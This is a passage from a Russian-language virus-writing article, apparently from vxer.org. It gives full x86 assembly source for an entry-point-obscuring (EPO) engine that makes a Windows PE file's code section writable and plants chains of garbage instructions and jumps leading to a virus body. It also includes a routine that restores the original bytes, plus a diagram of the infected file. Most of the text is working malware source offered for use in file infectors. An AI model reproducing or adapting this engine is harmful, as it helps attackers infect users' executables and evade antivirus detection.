another:                                           ;
                call    rnd_reg                    ; Получаем случайный регистр
                cmp     al,bh                      ; Свободный регистр не может
                je      another                    ; быть таким как reg1
                cmp     al,bl                      ; Свободный регистр не может
                je      another                    ; быть таким как reg1
                cmp     al,00000100b               ; Используем все регистры
                je      another                    ; кроме esp

                pop     ecx edx                    ; Восстанавливаем ecx, edx
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           RANDOM REGISTER SUBROUTINE                         ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                            NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                            RANDOM REGISTER -> EAX                            ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
rnd_reg:                                          
                                                   ; Подпрограмма получения
                                                   ; случайного регистра

                mov     eax,8                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне 0..7
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
mega_table:
                dw      instr_x87  -delta_offset   ;
                dw      instr_movr -delta_offset   ;
                dw      instr_push -delta_offset   ;
                dw      instr_shl  -delta_offset   ;
                dw      instr_cmp  -delta_offset   ;
                dw      instr_xor  -delta_offset   ;
                dw      one_byte   -delta_offset   ;
                dw      instr_movc -delta_offset   ;
                dw      instr_je   -delta_offset   ; Таблица относительных
                dw      instr_je2  -delta_offset   ; смещений от метки
                dw      instr_l32  -delta_offset   ; delta_offset
                dw      instr_jmp  -delta_offset   ;
                dw      instr_lea  -delta_offset   ;
                dw      instr_test -delta_offset   ;
                dw      instr_not  -delta_offset   ;
                dw      instr_xchg -delta_offset   ;
                dw      instr_a32  -delta_offset   ;
                dw      instr_a16  -delta_offset   ;
                dw      instr_cl   -delta_offset   ;
;------------------------------------------------------------------------------;
one_byte_opcode:
                std                                ;
                cld                                ; Таблица однобайтовых
                nop                                ; инструкций
                clc                                ;
                stc                                ;
                cmc                                ;
                db      0f2h                       ; rep
                db      0f3h                       ; repnz
;------------------------------------------------------------------------------;
three_byte_opcode:
db              0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых
db              0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций
;------------------------------------------------------------------------------;
 

Теперь мы готовы перейти к листингу нашего мотора:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [SIMPLE EPO TECHNIQUE ENGINE  V. 0.1]                  ;
;                                                                              ;
;           ###########    ###########    ############   ##############        ;
;          #############  #############  ##############  ##############        ;
;          ##             ###        ##  ###        ###       ###              ;
;          ############   #############  ###        ###       ###              ;
;           ############  ############   ###        ###       ###              ;
;                    ###  ###            ###        ###       ###              ;
;          #############  ###            ##############       ###              ;
;           ###########   ###             ############        ###              ;
;                                                                              ;
;                                 FOR MS WINDOWS                               ;
;                                                                              ;
;                                     BY SL0N                                  ;
;------------------------------------------------------------------------------;
;                                    MANUAL:                                   ;
; ADDRESS OF MAPPED FILE  -> EDX                                               ;
;                                                                              ;
; CALL EPO                                                                     ;
;------------------------------------------------------------------------------;
;                               MANUAL FOR RESTORE:                            ;
; CALL RESTORE                                                                 ;
;                                                                              ;
; ENTRY POINT             -> EBX                                               ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API                                                       ;
; (+) EASY TO USE                                                              ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)                        ;
; (+) USE X87 INSTRUCTIONS                                                     ;
; (+) RANDOM NUMBER OF SPOTS                                                   ;
; (+) MUTABLE SPOTS                                                            ;
; (+) RANDOM LENGTH OF JUMP                                                    ;
;------------------------------------------------------------------------------;
epo:            
                push    esi edi                    ; Сохраняем в стэке esi
                                                   ; и edi
                mov     [ebp+map_address],edx      ; Сохраняем адрес файла в
                                                   ; памяти
                call    get_head                   ; Получаем  PE заголовок
                                                   ;
                call    search_eip                 ; Вычисляем новую точку
                                                   ; входа
                call    find_code                  ; Ищем начало кода в этом
                                                   ; файле
                call    spots                      ; Помещаем туда переход
                                                   ; на вирус
                pop     edi esi                    ; Восстанавливаем из стэка
                                                   ; edi и esi
                ret                                ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                             PE HEADER SUBROUTINE                             ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             FILE IN MEMORY -> EDX                            ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

get_head:                                          
                                                   ; Подпрограмма получения
                                                   ; PE заголовка

                pusha                              ; Сохраняем всё в стэке

                mov     ebx,[edx + 3ch]            ;
                add     ebx,edx                    ;
                                                   ;
                mov     [ebp + PE_header],ebx      ; сохраняем PE заголовок
                mov     esi,ebx                    ;
                mov     edi,esi                    ;
                mov     ebx,[esi + 28h]            ;
                mov     [ebp + old_eip],ebx        ; Сохраняем старую точку
                                                   ; входа (eip)
                mov     ebx,[esi + 34h]            ;
                mov     [ebp + image_base],ebx     ; Сохраняем
                                                   ; виртуальный адрес
                                                   ; начала программы
                popa                               ; Вынимаем всё из стэка
                ret                                ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           NEW ENTRY POINT SUBROUTINE                         ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:                                        
                                                   ; Подпрограмма вычисления
                                                   ; новой точки входа

                pusha                              ; Сохраняем всё в стэке

                mov     esi,[ebp+PE_header]        ; Кладём в esi указатель
                                                   ; На PE заголовок
                mov     ebx,[esi + 74h]            ;    
                shl     ebx,3                      ;
                xor     eax,eax                    ;
                mov     ax,word ptr [esi + 6h]     ; Количество объектов
                dec     eax                        ; (нам нужен последний-1
                mov     ecx,28h                    ; заголовок секции)
                mul     ecx                        ; * размер заголовка
                add     esi,78h                    ; теперь esi указывает
                add     esi,ebx                    ; на начало последнего  
                add     esi,eax                    ; заголовка секции

                mov     eax,[esi+0ch]              ;
                add     eax,[esi+10h]              ; Сохраняем новую точку
                mov     [ebp+new_eip],eax          ; входа

                popa                               ; Вынимаем всё из стэка

                ret                                ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                         FIND START OF CODE SUBROUTINE                        ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:                                        
                                                   ; Подпрограмма поиска начала
                                                   ; кода

                mov     esi,[ebp+PE_header]        ; Кладём в esi указатель
                                                   ; На PE заголовок

                mov     ebx,[esi + 74h]            ;
                shl     ebx,3                      ; Получаем
                xor     eax,eax                    ;
                mov     ax,word ptr [esi + 6h]     ; Количество объектов
find2:
                mov     esi,edi                    ;
                dec     eax                        ;
                push    eax                        ; (нам нужен последний-1
                mov     ecx,28h                    ; заголовок секции)
                mul     ecx                        ; * размер заголовка
                add     esi,78h                    ; теперь esi указывает на
                add     esi,ebx                    ; начало последнего
                                                   ; заголовка
                add     esi,eax                    ; секции
                mov     eax,[ebp+old_eip]          ; В eax ложим точку входа
                mov     edx,[esi+0ch]              ; В edx адрес куда будет
                                                   ; мапиться
                                                   ; текущая секция
                cmp     edx,eax                    ; Проверяем
                pop     eax                        ; Вынимаем из стэка eax
                jg      find2                      ; Если больше ищем дальше
                add     edx,[esi+08h]              ; Добавляем виртуальный
                                                   ; размер секци
                cmp     edx,[ebp+old_eip]          ; Проверяем
                jl      find2                      ; Если меньше ищем дальше

                mov     edx,[esi+0ch]              ; Далее вычисляем
                                                   ; физическое
                mov     eax,[ebp+old_eip]          ; смещение кода в файле
                sub     eax,edx                    ;
                add     eax,[esi+14h]              ;
                add     eax,[ebp+map_address]      ; И потом добавляем базу
                                                   ; памяти

                mov     [ebp+start_code],eax       ; Сохраняем начало кода

                or      [esi + 24h],00000020h or 20000000h or 80000000h
                                                   ; Меняем аттрибуты
                                                   ; кодовой секции

                mov     eax,[esi+08]               ; Вычисляем размер
                sub     eax,[ebp+old_eip]          ; той части кодовой секции,
                mov     edx,[esi+10h]              ; где можно размещать
                sub     edx,eax                    ; пятна
                mov     [ebp+size_for_spot],edx    ;

                ret                                ; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           SPOTS GENERATION SUBROUTINE                        ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:                                            
                                                   ; Подпрограмма генерации
                                                   ; пятен

                mov     ecx,1                      ; Кладём в ecx единицу
                                                   ;
                call    reset                      ; Подготавливаем данные
                call    num_spots                  ; Генерируем случайное число
                                                   ; это будет кол-во пятен
tred:                                              
                call    save_bytes                 ; Сохраняем затираемы байты
                call    gen_spot                   ; Генерируем пятно

                inc     ecx                        ; Увеличиваем ecx на единицу
                cmp     ecx,[ebp+n_spots]          ; Все пятна сгенерированы
                jne     tred                       ; Если нет, то генерируем

                call    save_bytes                 ; Сохраняем последние байты
                call    gen_final_spot             ; И генерируем последнее
                                                   ; пятно
                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           SPOT GENERATION SUBROUTINE                         ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:                                          
                                                   ; Подпрограмма генерации
                                                   ; одного пятна

                push    eax ecx                    ; Сохраняем eax и ecx

                call    len_sp_jmp                 ; Получаем случайную длину
                xchg    eax,ebx                    ; прыжка пятна

                call    testing                    ; Проверяем, чтобы пятно
                jc      quit2                      ; не выходило за кодовую
                                                   ; секцию
                push    ebx
                xor     bx,bx
                dec     bx
                mov     ecx,[ebp+num1]             ; Генерируем первую партию
                call    garbage                    ; мусора
                pop     ebx

                mov     al,0e9h                    ;
                stosb                              ;
                mov     eax,0                      ; Генерируем jmp
                add     eax,ebx                    ;
                add     eax,ecx                    ;
                stosd                              ;

                push    ebx
                xor     bx,bx
                dec     bx
                mov     ecx,[ebp+num2]             ; Генерируем вторую партию
                call    garbage                    ; мусора
                pop     ebx

                sub     edi,[ebp+num2]             ;
                add     edi,[ebp+num1]             ; Корректируем edi
                add     edi,ebx                    ;
quit2:
                pop     ecx eax                    ; Восстанавливаем ecx и eax

                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                         LAST SPOT GENERATION SUBROUTINE                      ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:                                    
                                                   ; Подпрограмма генерации
                                                   ; финального пятна
 
                push    eax ecx                    ; Сохраняем eax и ecx
                                                   
                jc      not_big                    ; Если длина не превышает
                inc     [ebp+n_spots]              ; размера кодовой секции, то
not_big:                                           ; Увеличим кол-во пятен
                mov     ecx,[ebp+num1]             ; Генерируем мусорные
                call    garbage                    ; инструкции

                push    edi                        ; Сохраняем edi
                sub     edi,[ebp+start_code]       ; Подготавливаем длину jmp'a
                mov     ebx,edi                    ; для последнего пятна
                pop     edi                        ; Восстанавливаем edi

                mov     al,0e9h                    ;
                stosb                              ;
                mov     eax,0                      ;
                sub     eax,5                      ; Генерируем финальное
                sub     eax,ebx                    ; пятно
                add     eax,[ebp+new_eip]          ;
                sub     eax,[ebp+old_eip]          ;
                stosd                              ;

                mov     ecx,[ebp+num2]             ; Генерируем вторую партию
                call    garbage                    ; мусорных инструкций

                pop     ecx eax                    ; Восстанавливаем ecx и eax
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                           SPOTS GENERATION SUBROUTINE                        ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                        ADDRESS OF SAVING BYTES -> EDI                        ;
;                        QUANTITY OF BYTES       -> EBX                        ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                            NO OUTPUT IN SUBROUTINE                           ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
                                                   ; Подпрограмма сохранения
                                                   ; заменяемых байт

                pusha                              ; Сохраняем всё в стэке
                call    length1                    ; Генерируем длины мусорных
                                                   ; инструкций
                mov     ebx,[ebp+num1]             ; Помещаем в ebx первую
                add     ebx,[ebp+num2]             ; и вторую длины
                add     ebx,5                      ; Добавляем к ebx - 5

                mov     esi,edi                    ; Сохраняем в буфере с
                mov     edi,[ebp+pointer]          ; начала смещение в памяти
                mov     eax,esi                    ; на сохраняемые байты
                stosd                              ;
                mov     ecx,ebx                    ; После этого сохраняем в
                mov     eax,ecx                    ; буфере кол-во сохраняемых
                stosd                              ; байт

                rep     movsb                      ; И в самом конце сохраняем
                mov     [ebp+pointer],edi          ; в буфере сами байты
                                                   ;
                popa                               ; Вынимаем всё из стэка
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                              RESTORE SUBROUTINE                              ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             OLD ENTRY POINT -> EBX                           ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
                                                   ; Подпрограмма
                                                   ; восстановления сохранённых
                                                   ; байт

                cld                                ; Поиск вперёд
                lea     esi,[ebp+rest_bytes]       ; В esi указазатель на буфер
                mov     edx,1                      ; В edx кладём - 1
not_enough:
                mov     edi,[ebp+old_eip]          ; В edi загружаем точку
                add     edi,[ebp+image_base]       ; входа
                mov     ebx,edi                    ; Сохраняем edi в ebx
                lodsd                              ; В eax старое смещение
                                                   ; байт в памяти
                sub     eax,[ebp+start_code]       ; Отнимаем смещение начала
                                                   ; кода и добавляем
                add     edi,eax                    ; точку входа
                lodsd                              ; Загружаем в eax кол-во
                mov     ecx,eax                    ; байт и кладём их в ecx
                rep     movsb                      ; Перемещаем оригинальные
                                                   ; байты на старое место
                inc     edx                        ; Переходим к следующему
                cmp     edx,[ebp+n_spots]          ; пятну
                jl      not_enough                 ; если не все пятна вернули,
                                                   ; то восстанавливаем дальше
quit:                                              ;  
                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                      LENGTH SPOT GENERATION SUBROUTINE                       ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
                                                   ; Подпрограмма генерации
                                                   ; длин мусорных инструкций
                mov     eax,20                     ;
                call    brandom32                  ; Генерируем случайное число
                test    eax,eax                    ; в диапазоне 1..19
                jz      length1                    ;

                mov     [ebp+num1],eax             ; Сохраняем его в переменную
rand2:
                mov     eax,20                     ;
                call    brandom32                  ; Генерируем случайное число
                test    eax,eax                    ; в диапазоне 1..19
                jz      rand2                      ;

                mov     [ebp+num2],eax             ; Сохраняем его в вторую
                                                   ; переменную
                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                               RESET SUBROUTINE                               ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
                                                   ; Подпрограмма инициализации
                                                   ; переменных
                mov     edi,[ebp+start_code]       ;
                                                   ;
                push    esi                        ; Инициализируем переменные
                lea     esi,[ebp+rest_bytes]       ;
                mov     [ebp+pointer],esi          ;
                pop     esi                        ;

                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                    SPOT JUMP LENGTH GENERATION SUBROUTINE                    ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                           LENGTH OF SPOT JUMP -> EAX                         ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
                                                   ; Подпрограмма генерации
                                                   ; длины прыжка

                mov     eax,150                    ;
                call    brandom32                  ; Генерируем случайное число
                cmp     eax,45                     ; в диапазоне 45..149
                jle     len_sp_jmp                 ;

                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       SPOTS NUMBER GENERATION SUBROUTINE                     ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                             NO OUTPUT IN SUBROUTINE                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
                                                   ; Подпрограмма генерации
                                                   ; количества пятен

                pusha                              ; Сохраняем всё в стэке

                mov     eax,40                     ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 1..40
                inc     eax                        ; И сохраняем его в
                mov     [ebp+n_spots],eax          ; переменной

                popa                               ; Вынимаем всё из стэка
                ret                                ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                              TESTING SUBROUTINE                              ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                             NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                                  CARRY FLAG                                  ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
                                                   ; Подпрограмма проверки
                                                   ; попадения в границу секции

                push    edi eax                    ; Сохраняем edi eax в стэке

                add     edi,[ebp+num1]             ; Добавим к edi 1-ую длину
                                                   ; мусорных инструкций
                add     edi,[ebp+num2]             ; После этого добавим 2-ую
                add     edi,300                    ; И добавим число в которое
                                                   ; входит максимальный размер
                                                   ; пятна + длина его прыжка
                mov     eax,[ebp+size_for_spot]    ; В eax загрузим размер
                                                   ; места для пятен и смещение
                add     eax,[ebp+start_code]       ; в памяти точки входа

                cmp     edi,eax                    ; Сравним eax и edi
                clc                                ; Сбросим carry флаг
                jl      m_space                    ; Если edi меньше, то все
                                                   ; хорошо
                mov     [ebp+n_spots],ecx          ; Если нет, то мы уменьшаем
                inc     [ebp+n_spots]              ; количество пятен и
                stc                                ; устанавливаем carry флаг
m_space:
                pop     eax edi                    ; Вынимаем eax и edi
                ret                                ; Возврат из процедуры
;------------------------------------------------------------------------------;
pointer         dd      0                          ;
n_spots         dd      0                          ;
                                                   ;
num1            dd      0                          ;
num2            dd      0                          ;
                                                   ; Данные необходимые для
PE_header       dd      0                          ; работы мотора
old_eip         dd      0                          ;
image_base      dd      0                          ;
start_code      dd      0                          ;
new_eip         dd      0                          ;
map_address     dd      0                          ;
size_for_spot   dd      0                          ;
rest_bytes:     db      2100 dup (?)               ;
;------------------------------------------------------------------------------;
 

В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байт используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.

Рассмотрим примерную схему работы мотора:

		|------------------------------------------|
		|             Заголовок программы          |
		|  (в нём указан адрес запуска программы)  |
		|------------------------------------------|
		|                   .....                  |
		|         Здесь идут различные секции      |
		|                   .....                  |
		|------------|-----------------------------|
	        | jmp spotN2 |-----|                       |
		|------------|     |                       |
	        |               |--V---------|             |
	        |      |--------| jmp spotN3 |             |
	        |      |        |------------|             |
	        |------V-----|                             |
	|-------|  jmp virus |                             |
	|       |------------|   Кодовая секция            |
	|	|------------------------------------------|
	|	|                   .....                  |
	|	|         Здесь идут различные секции      |
	|	|                   .....                  |
	|	|------------------------------------------|
	|------>|                   .....                  |
		|         	    ВИРУС                  |
		|                   .....                  |
		|------------------------------------------|

Для чего может использоваться данный модуль? Данный модуль можно с большой эффективностью использовать при моделировании навесных защит исполнимого кода, помимо его прямого назаначения.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua